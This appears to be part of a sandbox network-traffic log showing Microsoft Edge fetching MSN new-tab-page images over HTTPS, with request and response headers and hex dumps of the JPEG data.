2024-11-17 02:42:42 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-17 02:42:42 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49893	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:42 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Mon, 11 Nov 2024 03:08:18 GMT X-Source-Length: 79668 X-Datacenter: northeu X-ActivityId: 3b3e7ffe-ca54-468c-b20d-cadbdf01d790 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=303900 Expires: Wed, 20 Nov 2024 15:07:41 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:42 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 11 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[
2024-11-17 02:42:42 UTC	2628	IN	Data Raw: 38 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 Data Ascii: 8P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nw
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-17 02:42:42 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-17 02:42:42 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49892	104.117.247.168	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:41 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:42 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 13:09:36 GMT X-Datacenter: eastap X-ActivityId: 71bf84f9-d0c2-4597-9893-d34df3f39f2d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=383389 Expires: Thu, 21 Nov 2024 13:12:30 GMT Date: Sun, 17 Nov 2024 02:42:41 GMT Connection: close
2024-11-17 02:42:42 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-17 02:42:42 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-17 02:42:42 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-17 02:42:42 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 